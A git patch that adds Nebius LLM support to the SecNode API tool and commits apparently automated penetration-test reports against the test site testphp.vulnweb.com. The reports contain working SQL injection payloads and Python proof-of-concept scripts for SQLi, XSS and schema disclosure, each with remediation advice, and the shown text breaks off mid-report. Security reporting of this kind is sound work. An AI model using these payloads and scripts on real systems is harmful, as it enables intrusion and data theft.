From 55d4f3524dd277a68a478334fd8df1515807ebe6 Mon Sep 17 00:00:00 2001 From: vishnu Date: Mon, 9 Mar 2026 12:07:30 +0100 Subject: [PATCH 1/8] feat(ai): Add support for Nebius LLM Provider - Added NEBIUS_API_KEY parsing inside cli.py and config.py - Reconfigured litellm inside ai_client to use custom tokenfactory API base - Updated README and CONTRIBUTING docs with Nebius env instructions --- CONTRIBUTING.md | 6 +- README.md | 11 +- src/secnodeapi/ai/llm_client.py | 4 + src/secnodeapi/cli.py | 4 + src/secnodeapi/config.py | 4 +- .../vulnerabilities.csv | 7 + .../vulnerabilities/vuln-0001.md | 140 +++++++++++ .../vulnerabilities/vuln-0002.md | 218 ++++++++++++++++++ .../vulnerabilities/vuln-0003.md | 162 +++++++++++++ .../vulnerabilities/vuln-0004.md | 136 +++++++++++ .../vulnerabilities/vuln-0005.md | 125 ++++++++++ .../vulnerabilities/vuln-0006.md | 163 +++++++++++++ 12 files changed, 976 insertions(+), 4 deletions(-) create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md create mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index bbcdb72..9c75b1c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -45,9 +45,13 @@ Thank you for your interest in contributing to SecNode API! This guide will help # Or Ollama export SECNODE_LLM="ollama/llama3.1" export OLLAMA_API_BASE="http://localhost:11434" # optional + + # Or Nebius + export SECNODE_LLM="nebius/meta-llama/Meta-Llama-3.1-70B-Instruct" + export NEBIUS_API_KEY="your-nebius-key" ``` Provider credentials are model-specific. `openai/*` requires `OPENAI_API_KEY`, - `anthropic/*` requires `ANTHROPIC_API_KEY`, and `ollama/*` can run locally without + `anthropic/*` requires `ANTHROPIC_API_KEY`, `nebius/*` requires `NEBIUS_API_KEY`, and `ollama/*` can run locally without cloud API keys. See [LiteLLM provider docs](https://docs.litellm.ai/docs/providers) for other providers. 5. **Run SecNode in development mode** diff --git a/README.md b/README.md index b5b2d6d..80968da 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@ SecNode API is a practical automation layer for API security testing. ### Requirements - Python 3.10+ -- Access to an LLM provider key (OpenAI or Anthropic) +- Access to an LLM provider key (OpenAI, Anthropic, or Nebius) ### Install from source @@ -85,8 +85,15 @@ export SECNODE_LLM="ollama/llama3.1" export OLLAMA_API_BASE="http://localhost:11434" # optional, defaults to localhost if omitted ``` +Or with Nebius: + +```bash +export SECNODE_LLM="nebius/meta-llama/Meta-Llama-3.1-70B-Instruct" +export NEBIUS_API_KEY="your-nebius-key" +``` + Provider credentials are model-specific. `openai/*` requires `OPENAI_API_KEY`, `anthropic/*` -requires `ANTHROPIC_API_KEY`, and `ollama/*` can run locally without cloud API keys. +requires `ANTHROPIC_API_KEY`, `nebius/*` requires `NEBIUS_API_KEY`, and `ollama/*` can run locally without cloud API keys. See [LiteLLM providers](https://docs.litellm.ai/docs/providers). ## Quick Start diff --git a/src/secnodeapi/ai/llm_client.py b/src/secnodeapi/ai/llm_client.py index 9fe8acf..3a7aa02 100644 --- a/src/secnodeapi/ai/llm_client.py +++ b/src/secnodeapi/ai/llm_client.py @@ -37,6 +37,10 @@ async def call_llm(system_prompt: str, user_prompt: str, temperature: float = 0. api_base = os.getenv("OLLAMA_API_BASE", "").strip() if api_base: completion_kwargs["api_base"] = api_base + elif provider == "nebius": + # Nebius is OpenAI-compatible and requires its specific base URL + completion_kwargs["api_base"] = "https://api.tokenfactory.nebius.com/v1/" + completion_kwargs["api_key"] = os.getenv("NEBIUS_API_KEY", "") response = await acompletion( **completion_kwargs diff --git a/src/secnodeapi/cli.py b/src/secnodeapi/cli.py index c7b7aa5..7c8131b 100644 --- a/src/secnodeapi/cli.py +++ b/src/secnodeapi/cli.py @@ -267,6 +267,10 @@ def _require_provider_key(schema_only: bool) -> None: "OLLAMA provider selected but unavailable configuration detected. " "Set SECNODE_LLM=ollama/ and optionally OLLAMA_API_BASE." ) + elif provider == "nebius": + message = ( + "Provider API key required. Set NEBIUS_API_KEY for SECNODE_LLM nebius/* models." + ) else: message = ( "Provider API key required. Set provider-specific credentials to match SECNODE_LLM." diff --git a/src/secnodeapi/config.py b/src/secnodeapi/config.py index 7cfaed7..b70c918 100644 --- a/src/secnodeapi/config.py +++ b/src/secnodeapi/config.py @@ -25,7 +25,9 @@ def has_supported_provider_key() -> bool: return bool(os.getenv("OPENAI_API_KEY")) if provider == "anthropic": return bool(os.getenv("ANTHROPIC_API_KEY")) + if provider == "nebius": + return bool(os.getenv("NEBIUS_API_KEY")) if provider == "ollama": return True - return bool(os.getenv("OPENAI_API_KEY") or os.getenv("ANTHROPIC_API_KEY")) + return bool(os.getenv("OPENAI_API_KEY") or os.getenv("ANTHROPIC_API_KEY") or os.getenv("NEBIUS_API_KEY")) diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv new file mode 100644 index 0000000..6a52a2a --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv @@ -0,0 +1,7 @@ +id,title,severity,timestamp,file +vuln-0002,SQL Injection in /artists.php 'artist' parameter enables data exfiltration (MySQL),CRITICAL,2026-03-08 19:35:38 UTC,vulnerabilities/vuln-0002.md +vuln-0001,Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution,HIGH,2026-03-08 19:29:54 UTC,vulnerabilities/vuln-0001.md +vuln-0005,Path Traversal (Local File Inclusion) in /showimage.php 'file' parameter allows arbitrary local file read,HIGH,2026-03-08 19:47:21 UTC,vulnerabilities/vuln-0005.md +vuln-0003,Information Disclosure via Publicly Accessible Database Initialization Script at /admin/create.sql,MEDIUM,2026-03-08 19:42:11 UTC,vulnerabilities/vuln-0003.md +vuln-0004,Reflected Cross-Site Scripting (XSS) in POST /search.php ‘searchFor’ parameter,MEDIUM,2026-03-08 19:46:31 UTC,vulnerabilities/vuln-0004.md +vuln-0006,Reflected XSS in /hpp/params.php 'p' parameter (single and duplicate-key HPP variants),MEDIUM,2026-03-08 19:47:23 UTC,vulnerabilities/vuln-0006.md diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md new file mode 100644 index 0000000..c183c31 --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md @@ -0,0 +1,140 @@ +# Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution + +**ID:** vuln-0001 +**Severity:** HIGH +**Found:** 2026-03-08 19:29:54 UTC +**Target:** http://testphp.vulnweb.com +**Endpoint:** /guestbook.php +**Method:** POST, GET +**CWE:** CWE-79 +**CVSS:** 8.1 + +## Description + +The guestbook feature stores and renders user-supplied message content without proper output encoding or sanitization. By submitting an HTML IMG element with an onerror handler in the message body, the application saves the payload and later serves it to every visitor of the guestbook page. When the page is viewed, the browser executes the attacker-controlled JavaScript (stored XSS). + +This behavior was confirmed by posting a tokenized IMG/onerror payload and observing both a DOM mutation marker placed by the script and an HTTP request triggered by the payload, demonstrating real script execution in the victim’s browser context. + +## Impact + +Exploitation enables an attacker to execute arbitrary JavaScript in the context of victim users who view the guestbook page. Practical impact includes: +- Session hijacking, account takeover, or impersonation by exfiltrating session tokens or leveraging authenticated APIs +- Defacement, phishing overlays, keylogging, or malware delivery via drive-by actions +- CSRF chaining and privilege abuse by invoking sensitive in-application actions on behalf of victims +- Persistence of the malicious payload for all future visitors until manually removed + +Because the payload executes for every viewer, the blast radius includes privileged operators or administrators who visit the page. + +## Technical Analysis + +Root cause +The message body submitted to /guestbook.php is stored server-side and re-rendered into the HTML page without output encoding or HTML sanitization. As a result, attacker-controlled HTML and event handlers are inserted into the DOM and executed by browsers. + +Evidence collected (confirmed exploitability) +- Stored payload submissions: POST /guestbook.php requests recorded (IDs 191 and 207) contain the IMG/onerror payload in the text parameter. +- Runtime script execution: After submission and page reload, the DOM showed a runtime attribute set by the payload: body[xss_ts="1772997961884"]. +- Outbound indicator of execution: A browser-initiated GET /xssprobe?ts=1772997961884 was captured (request ID 193), which was issued by the payload’s onerror handler, confirming JavaScript execution. + +Render context +The payload is injected into the content area of the guestbook entry (HTML table cell). Inline event handlers (onerror) are permitted and executed, indicating no sanitization and no effective CSP blocking inline script/event attributes. + +## Proof of Concept + +To reproduce manually: +1) Navigate to http://testphp.vulnweb.com/guestbook.php +2) In the message textarea, submit the following payload and click “add message”: + +3) Reload or revisit the guestbook page. Observe that: + - The payload is stored and rendered in the page markup. + - The browser executes the onerror handler. Evidence may include a request to /xssprobe?ts=1772997961884 and the DOM attribute body[xss_ts="1772997961884"]. + +Notes: +- Request IDs 191 and 207 are example POST submissions that stored the payload. +- Request ID 193 shows the browser-initiated GET /xssprobe?ts=1772997961884 triggered by the payload, proving execution. + +``` +#!/usr/bin/env python3 +import time +import requests +from urllib.parse import urljoin + +BASE = "http://testphp.vulnweb.com" +GUESTBOOK = urljoin(BASE, "/guestbook.php") + +def submit_payload(session: requests.Session, token: str) -> requests.Response: + payload = ( + f"" + ) + # Send HTML directly (server reflects it as HTML) + # Some servers accept raw HTML; if HTML entities are preferred, use payload above as is + raw_payload = f"" + + data = { + "name": "anonymous user", + "text": raw_payload, + "submit": "add message", + } + return session.post(GUESTBOOK, data=data, timeout=15, allow_redirects=True) + +def verify_persistence(session: requests.Session, token: str) -> bool: + # Fetch the guestbook HTML and look for the token within the stored payload + r = session.get(GUESTBOOK, timeout=15) + if r.status_code != 200: + print(f"[!] Unexpected status fetching guestbook: {r.status_code}") + return False + + body = r.text + # Evidence 1: token present inside the rendered onerror payload + marker_in_html = (f"onerror=\"document.body.setAttribute('xss_ts','{token}')" in body) or (f"/xssprobe?ts={token}" in body) + + # (Optional) If you have a capturing proxy or server logs, you can also + # confirm a GET /xssprobe?ts={token} occurs when the page is viewed in a real browser. + return marker_in_html + +def main(): + s = requests.Session() + token = str(int(time.time() * 1000)) + print(f"[*] Using token: {token}") + print(f"[*] Submitting payload to: {GUESTBOOK}") + + resp = submit_payload(s, token) + print(f"[*] POST /guestbook.php -> {resp.status_code}") + + time.sleep(1.5) + print("[*] Verifying stored payload presence...") + ok = verify_persistence(s, token) + + if ok: + print("[+] Stored XSS confirmed. The payload with token is present in the page HTML.") + print(f"[+] When viewed in a browser, the onerror handler will execute and request /xssprobe?ts={token}.") + else: + print("[-] Could not find the tokenized payload in the HTML source. Try reloading or waiting a moment.") + +if __name__ == "__main__": + main() +``` + +## Remediation + +Server-side output encoding and sanitization +1) Treat all guestbook message content as untrusted. Encode output for the HTML context using a proven, framework-native encoder. In PHP: + - Echo user text with: htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') + - Do not allow inline HTML/event attributes from untrusted input unless passed through a strict HTML sanitizer (e.g., HTML Purifier) with a minimal safe allowlist and URI scheme restrictions. +2) Remove or refuse dangerous constructs (script tags, event handlers like onerror/onload, javascript: URLs, SVG/MathML active content) if rich text is not strictly required. Prefer plain text storage and rendering. + +Defense-in-depth +3) Enforce a strict Content Security Policy (CSP) to reduce XSS impact: + - script-src 'self' with nonces or hashes; disallow 'unsafe-inline' + - object-src 'none'; base-uri 'self' + - form-action 'self' +4) Normalize application character encoding to UTF-8 and consistently apply encoding routines at every sink. +5) Add server-side validation to block payloads containing HTML tags or event attributes if the feature does not require HTML. +6) Implement security testing and regression tests to verify no stored or reflected XSS is possible in rendering paths. + +Operational guidance +7) Remove any existing malicious guestbook entries from storage. +8) After fixes, perform a focused retest to ensure that stored HTML is either safely sanitized or encoded and that CSP effectively prevents execution of inline event handlers. + diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md new file mode 100644 index 0000000..9a38ab4 --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md @@ -0,0 +1,218 @@ +# SQL Injection in /artists.php 'artist' parameter enables data exfiltration (MySQL) + +**ID:** vuln-0002 +**Severity:** CRITICAL +**Found:** 2026-03-08 19:35:38 UTC +**Target:** http://testphp.vulnweb.com +**Endpoint:** /artists.php +**Method:** GET +**CWE:** CWE-89 +**CVSS:** 9.1 + +## Description + +A SQL Injection vulnerability was identified in the GET parameter "artist" of /artists.php on testphp.vulnweb.com. Systematic testing demonstrated: +- A reliable boolean-based oracle (content-length differential between true and false predicates). +- A reliable time-based oracle using MySQL SLEEP/IF constructs (~2s delay on true branch). +- In-band error-based extraction using MySQL XML error functions (EXTRACTVALUE/UPDATEXML) to retrieve database metadata. +- ORDER BY testing shows an anomaly at index 4, indicating a 3-column SELECT context. + +These behaviors confirm that the "artist" parameter is concatenated into a SQL query without proper parameterization, allowing attackers to influence the query logic and extract sensitive information server-side. + +## Impact + +Unauthenticated remote attackers can manipulate backend SQL queries and exfiltrate sensitive data. Confirmed capabilities include retrieving database version, current database, and DB user via in-band error messages. With additional enumeration, an attacker could: +- Read or infer records across application tables (customer data, credentials if stored inadequately) +- Bypass logical restrictions and pivot to broader database compromise +- Potentially perform UNION-based extraction depending on rendering context + +Business risk: High. Compromises confidentiality of data and can impact integrity if write paths are reachable. Regulatory exposure (privacy/data protection) and reputational damage are likely. + +## Technical Analysis + +Vulnerability location +- Endpoint: /artists.php +- Parameter: artist (GET) +- Database (exfiltrated): MySQL 8.0.22-0ubuntu0.20.04.2 +- Current DB: acuart +- DB user: acuart@localhost + +Observed oracles and evidence +- Boolean-based: + • Baseline (?artist=1): HTTP 200, length ≈ 6251 + • ?artist=1 AND 1=1 -- : HTTP 200, length ≈ 6251 (no change) + • ?artist=1 AND 1=2 -- : HTTP 200, length ≈ 4735 (significant decrease) + This deterministic length differential indicates predicate-controlled query behavior. + +- Time-based: + • ?artist=1 AND IF(1=1,SLEEP(2),0) -- → +~2000 ms vs baseline + • ?artist=1 AND IF(1=2,SLEEP(2),0) -- → ~baseline timing + Reliable server-side delays confirm execution of injected MySQL functions. + +- Error-based in-band exfiltration (XML functions): + • ?artist=1 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e)) -- + Response contains: XPATH syntax error: '~8.0.22-0ubuntu0.20.04.2~' + • ?artist=1 AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)) -- + Response contains: '~acuart~' + • ?artist=1 AND EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)) -- + Response contains: '~acuart@localhost~' + +- ORDER BY column count: + • ?artist=1 ORDER BY 1/2/3 -- → normal page size (≈ 6251) + • ?artist=1 ORDER BY 4 -- → error-sized page (≈ 2063) with SQL error pattern + This implies the underlying SELECT likely has 3 columns. + +UNION probe with 3 columns did not visibly alter rendering (same size as baseline), but injection is conclusively established via boolean/time/error oracles. + +Root cause +User-supplied "artist" is incorporated directly into an SQL statement (numeric context) without parameter binding. This enables boolean predicates, time delays, and use of MySQL XML functions for data leakage, demonstrating missing input sanitization and lack of prepared statements. + +## Proof of Concept + +Reproduction steps (unauthenticated): +1) Navigate to: + - Baseline + GET http://testphp.vulnweb.com/artists.php?artist=1 + Observe HTTP 200 and body length ≈ 6251. + +2) Boolean-based oracle + - True predicate + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%201%3D1%20--%20 + Expect: HTTP 200, length ≈ 6251 (no change from baseline). + - False predicate + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%201%3D2%20--%20 + Expect: HTTP 200, length ≈ 4735 (significant reduction). + +3) Time-based oracle + - True branch delay + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20IF(1%3D1,SLEEP(2),0)%20--%20 + Expect: ~2s additional server-side delay vs baseline. + - False branch (no delay) + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20IF(1%3D2,SLEEP(2),0)%20--%20 + Expect: ~baseline timing. + +4) Error-based in-band exfiltration (XML functions) + - Version + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20--%20 + Expect response containing: XPATH syntax error with '~8.0.22-0ubuntu0.20.04.2~' + - Current database + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e))%20--%20 + Expect: '~acuart~' + - DB user + GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e))%20--%20 + Expect: '~acuart@localhost~' + +5) ORDER BY column count confirmation + - GET http://testphp.vulnweb.com/artists.php?artist=1%20ORDER%20BY%203%20--%20 (normal length) + - GET http://testphp.vulnweb.com/artists.php?artist=1%20ORDER%20BY%204%20--%20 (error-sized page, SQL error pattern) + +``` +#!/usr/bin/env python3 +import requests +import time +import re + +BASE = "http://testphp.vulnweb.com/artists.php" + +HEADERS = { + "User-Agent": "Mozilla/5.0", + "Accept": "text/html,application/xhtml+xml", + "Connection": "close", +} + +def send(payload: str, timeout: float = 10.0): + t0 = time.perf_counter() + r = requests.get(BASE, params={"artist": payload}, headers=HEADERS, timeout=timeout) + dt = time.perf_counter() - t0 + return r, dt + +def extract_xpath(body: str): + # MySQL error text often: XPATH syntax error: '~VALUE~' + m = re.search(r"XPATH syntax error:\\s*'~([^']+)~'", body, re.IGNORECASE) + if not m: + m = re.search(r"XPATH syntax error:\\s*\"~([^\"]+)~\"", body, re.IGNORECASE) + if not m: + m = re.search(r"~([^~]{1,200})~", body) + return m.group(1) if m else None + +def main(): + print("Target:", BASE) + # 1) Baseline and boolean diffs + base_resp, base_dt = send("1") + true_resp, true_dt = send("1 AND 1=1 -- ") + false_resp, false_dt = send("1 AND 1=2 -- ") + + base_len = len(base_resp.text) + true_len = len(true_resp.text) + false_len = len(false_resp.text) + + print("\n[Boolean-based]") + print(f" baseline: status={base_resp.status_code}, len={base_len}, time_ms={int(base_dt*1000)}") + print(f" 1 AND 1=1 -- : status={true_resp.status_code}, len={true_len}, time_ms={int(true_dt*1000)}, delta_len={true_len-base_len}") + print(f" 1 AND 1=2 -- : status={false_resp.status_code}, len={false_len}, time_ms={int(false_dt*1000)}, delta_len={false_len-base_len}") + + # 2) Time-based oracles + t_true_resp, t_true_dt = send("1 AND IF(1=1,SLEEP(2),0) -- ") + t_false_resp, t_false_dt = send("1 AND IF(1=2,SLEEP(2),0) -- ") + print("\n[Time-based]") + print(f" IF(1=1,SLEEP(2),0): time_ms={int(t_true_dt*1000)} (delta={int((t_true_dt-base_dt)*1000)} ms)") + print(f" IF(1=2,SLEEP(2),0): time_ms={int(t_false_dt*1000)} (delta={int((t_false_dt-base_dt)*1000)} ms)") + + # 3) Error-based exfiltration + ver_resp, _ = send("1 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e)) -- ") + db_resp, _ = send("1 AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)) -- ") + user_resp, _ = send("1 AND EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)) -- ") + + version = extract_xpath(ver_resp.text) + database = extract_xpath(db_resp.text) + user = extract_xpath(user_resp.text) + + print("\n[Error-based extraction via XML functions]") + print(f" VERSION(): {version!r}") + print(f" DATABASE(): {database!r}") + print(f" USER(): {user!r}") + + # 4) ORDER BY column count confirmation (expect anomaly at 4) + ob3_resp, _ = send("1 ORDER BY 3 -- ") + ob4_resp, _ = send("1 ORDER BY 4 -- ") + print("\n[ORDER BY column count]") + print(f" ORDER BY 3: status={ob3_resp.status_code}, len={len(ob3_resp.text)}") + print(f" ORDER BY 4: status={ob4_resp.status_code}, len={len(ob4_resp.text)} (should trigger error text and size change)") + + # Optional UNION probe for 3 columns (may not visibly reflect data) + union_resp, _ = send("1 UNION ALL SELECT 1,2,3 -- ") + print("\n[UNION probe]") + print(f" UNION ALL SELECT 1,2,3 -- : status={union_resp.status_code}, len={len(union_resp.text)}") + + # Final summary + print("\n[Summary]") + print(" - Boolean oracle present (length diff true vs false)") + print(" - Time oracle present (~2s delay on IF true)") + print(" - Error-based extraction succeeded (version, database, user)") + +if __name__ == '__main__': + main() +``` + +## Remediation + +1) Replace dynamic SQL with parameterized queries/prepared statements everywhere the "artist" value is used. + - Example (PHP PDO): $stmt = $pdo->prepare("SELECT col1, col2, col3 FROM artists WHERE id = ?"); + $stmt->execute([$artist_id]); + +2) Enforce strict server-side input validation on numeric parameters. + - Reject non-digits, enforce integer type casting at the controller layer before any DB call. + +3) Remove dangerous in-band error channels. + - Do not return database error messages to end-users. Use generic errors and centralized logging. + - Avoid use of XML error functions (EXTRACTVALUE/UPDATEXML) entirely in application SQL. + +4) Principle of least privilege for DB users. + - Ensure the web application DB user has only the minimal SELECT/INSERT/UPDATE/DELETE permissions required; no administrative privileges. + +5) Add security controls and monitoring. + - Implement WAF rules to detect/block common SQLi patterns. + - Add regression tests for boolean/time-based SQLi and negative test cases on /artists.php and similar endpoints. + +6) Conduct code review across all DB access layers to ensure consistent parameter binding and input normalization. Roll out defensive coding guidelines and automated SAST checks. + diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md new file mode 100644 index 0000000..05ec708 --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md @@ -0,0 +1,162 @@ +# Information Disclosure via Publicly Accessible Database Initialization Script at /admin/create.sql + +**ID:** vuln-0003 +**Severity:** MEDIUM +**Found:** 2026-03-08 19:42:11 UTC +**Target:** http://testphp.vulnweb.com +**Endpoint:** /admin/create.sql +**Method:** GET +**CWE:** CWE-552 +**CVSS:** 5.3 + +## Description + +The application exposes a database initialization script at /admin/create.sql without authentication or access controls. Retrieving this file returns the SQL used to create and initialize the backend schema, including the database name and table/column definitions. This disclosure provides precise knowledge of the data model and materially accelerates targeted attacks (e.g., SQL injection payload crafting) against other endpoints. + +## Impact + +An unauthenticated attacker can download the database schema and leverage it to: +- Craft precise SQL injection payloads (correct table/column names, data types), increasing reliability and impact of exploitation +- Enumerate sensitive objects (e.g., pictures, forum messages) and infer business logic +- Aid lateral discovery of additional administrative or development artifacts + +Business impact includes increased likelihood of successful data exfiltration via SQL injection, targeted manipulation of application data, and reputational damage due to exposure of internal implementation details. + +## Technical Analysis + +Endpoint: GET http://testphp.vulnweb.com/admin/create.sql + +Behavior +- The endpoint returns a 200 OK with the contents of a SQL initialization script. +- Headers indicate a downloadable file rather than a rendered page. + +Observed evidence (proxy-captured) +- Request IDs: 322, 320, 244, 38 (all 200 OK; consistent behavior) +- Representative response headers (ID 322): + • Content-Type: application/octet-stream + • Content-Length: 523 + • Last-Modified: Wed, 11 May 2011 10:27:48 GMT + • ETag: "4dca64a4-20b" + +Content excerpt (ID 322 body; key lines) + create database waspart; + use waspart; + + CREATE TABLE IF NOT EXISTS forum( + sender CHAR(150), + mesaj TEXT, + senttime INTEGER(32)); + + CREATE TABLE IF NOT EXISTS artists( + artist_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT, + aname CHAR(50), + adesc BLOB); + + CREATE TABLE IF NOT EXISTS categ( + cat_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT, + cname CHAR(50), + cdesc BLOB); + + CREATE TABLE IF NOT EXISTS pictures( + pic_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT, + pshort BLOB, + plong TEXT, + price INTEGER, + img CHAR(50)); + +Risk amplification +- The leaked schema (DB: waspart; tables: forum, artists, categ, pictures) directly maps to active endpoints (e.g., /artists.php, /listproducts.php). Knowing exact column names (aname, adesc, price, img, etc.) allows an attacker to construct tailored SQL injection payloads, pivot to UNION/error-based extraction, and target high-value fields with minimal trial-and-error. + +## Proof of Concept + +To reproduce: + +1) Browser + - Navigate to: http://testphp.vulnweb.com/admin/create.sql + - Verify a 200 OK response and that a file download (or raw SQL text) is returned. + +2) curl + - Run: curl -i http://testphp.vulnweb.com/admin/create.sql + - Confirm headers include: + Content-Type: application/octet-stream + Content-Length: 523 + - Observe body begins with: + create database waspart; + use waspart; + CREATE TABLE IF NOT EXISTS forum(... + +3) Verification + - Confirm schema definitions for tables: + forum(sender, mesaj, senttime) + artists(artist_id, aname, adesc) + categ(cat_id, cname, cdesc) + pictures(pic_id, pshort, plong, price, img) + +``` +#!/usr/bin/env python3 +import re +import sys +import textwrap +import requests + +URL = "http://testphp.vulnweb.com/admin/create.sql" +TIMEOUT = 15 + +def main() -> int: + print(f"[.] Fetching: {URL}") + r = requests.get(URL, timeout=TIMEOUT) + print(f"[+] Status: {r.status_code}") + ctype = r.headers.get("Content-Type") + clen = r.headers.get("Content-Length") + lmod = r.headers.get("Last-Modified") + etag = r.headers.get("ETag") + print(f"[+] Headers: Content-Type={ctype}, Content-Length={clen}, Last-Modified={lmod}, ETag={etag}") + + body = r.text + print("[+] First 300 bytes of body:") + print(textwrap.shorten(body.replace("\\n", " "), width=300, placeholder=" ...")) + + # Extract database name and table names for quick verification + db_match = re.search(r"create\\s+database\\s+([a-zA-Z0-9_]+);", body, flags=re.IGNORECASE) + tables = re.findall(r"CREATE\\s+TABLE\\s+IF\\s+NOT\\s+EXISTS\\s+([a-zA-Z0-9_]+)\\s*\\(", body, flags=re.IGNORECASE) + if db_match: + print(f"[+] Database name: {db_match.group(1)}") + if tables: + print(f"[+] Tables: {', '.join(tables)}") + + # Simple assertion to confirm disclosure + if r.status_code == 200 and "create database" in body.lower(): + print("[+] Verified: SQL initialization script is publicly accessible.") + return 0 + else: + print("[-] Verification failed.") + return 1 + +if __name__ == "__main__": + sys.exit(main()) +``` + +## Remediation + +1) Remove or restrict access to administrative artifacts + - Remove /admin/create.sql from the web-accessible directory, or + - Restrict /admin/ and /admin/create.sql behind authentication and IP allowlists (deny-by-default). + +2) Harden deployment packaging + - Exclude development and initialization scripts from production builds. + - Validate artifact lists in CI/CD to prevent accidental publication of admin/config files. + +3) Web server hardening + - Enforce directory-level access controls for administrative paths. + - Disable autoindexing; serve a 403 for sensitive file extensions (.sql, .bak, .old, .zip). + +4) Defense-in-depth + - Implement a WAF rule to block direct access to known sensitive file patterns where feasible. + - Monitor and alert on access to administrative paths and unusual file extensions. + +5) Follow-on actions + - Rotate any credentials or secrets that may be present in leaked artifacts (not observed here, but recommended). + - Conduct a targeted review for similar exposures (e.g., /admin/, backups, temp files, source maps). + +After remediation, validate by attempting unauthenticated access to /admin/create.sql and verifying that it returns 403/404 and that the file is no longer retrievable. + diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md new file mode 100644 index 0000000..629bca0 --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md @@ -0,0 +1,136 @@ +# Reflected Cross-Site Scripting (XSS) in POST /search.php ‘searchFor’ parameter + +**ID:** vuln-0004 +**Severity:** MEDIUM +**Found:** 2026-03-08 19:46:31 UTC +**Target:** http://testphp.vulnweb.com +**Endpoint:** /search.php +**Method:** POST +**CWE:** CWE-79 +**CVSS:** 6.1 + +## Description + +The application’s “search art” form posts user-supplied input to /search.php?test=query and reflects the value of the parameter searchFor directly into the rendered HTML without context-appropriate output encoding. Injecting an IMG element with an onerror handler results in immediate JavaScript execution in the victim’s browser. + +Validation evidence (this engagement): +- A tokenized IMG/onerror payload was submitted via POST to /search.php?test=query. +- The resulting page executed the payload, setting a DOM attribute on (xss_search="1772998927236"). +- The browser initiated an HTTP GET to /xssprobe?ts=1772998927236, confirming client-side code execution. +- An earlier run produced the same behavior with token 1772998317359. + +This confirms a reflected XSS vulnerability in the search results page that executes attacker-controlled script in the context of the application’s origin. + +## Impact + +Exploitation enables execution of arbitrary JavaScript in users’ browsers under the site’s origin. Practical impacts include: +- Theft of session identifiers and account takeover +- CSRF bypass chaining and unauthorized state changes +- Content manipulation/phishing within the trusted UI +- Exfiltration of sensitive data accessible to the victim’s session +- Installation of malicious client-side logic (e.g., keylogging, request forgeries) + +Business impact: compromise of user accounts and data, reputational damage, and potential regulatory exposure depending on data handled. + +## Technical Analysis + +Root cause +The value of the POST parameter searchFor is reflected into the search results page without HTML-encoding or sanitization. When the attacker supplies an image element whose src is invalid (e.g., “x”), the browser fires the onerror handler, executing attacker-controlled JavaScript in the page context. + +Observed behavior +- On submitting a payload of the form , the rendered search page sets body[xss_search="TOKEN"] and the browser performs a GET to /xssprobe?ts=TOKEN. +- The “searched for:” section displays the injected IMG node, indicating the input is included in the HTML response rather than safely encoded. + +Security significance +Because the script executes within the site’s origin, it can access session-bound data and perform actions on behalf of the victim. The reflected nature of the flaw allows exploitation through crafted links or attacker-controlled forms that auto-submit to the vulnerable endpoint. + +## Proof of Concept + +Reproduction steps +1) Navigate to: http://testphp.vulnweb.com/ +2) In the left sidebar “search art” form (method POST, action /search.php?test=query), set the “searchFor” field to a unique, tokenized payload: + + Replace TOKEN with a unique value (e.g., current timestamp). +3) Submit the form (go). +4) Confirm execution: + - In the rendered results page, verify that the element has attribute xss_search="TOKEN". + - Observe the browser issuing an HTTP GET to 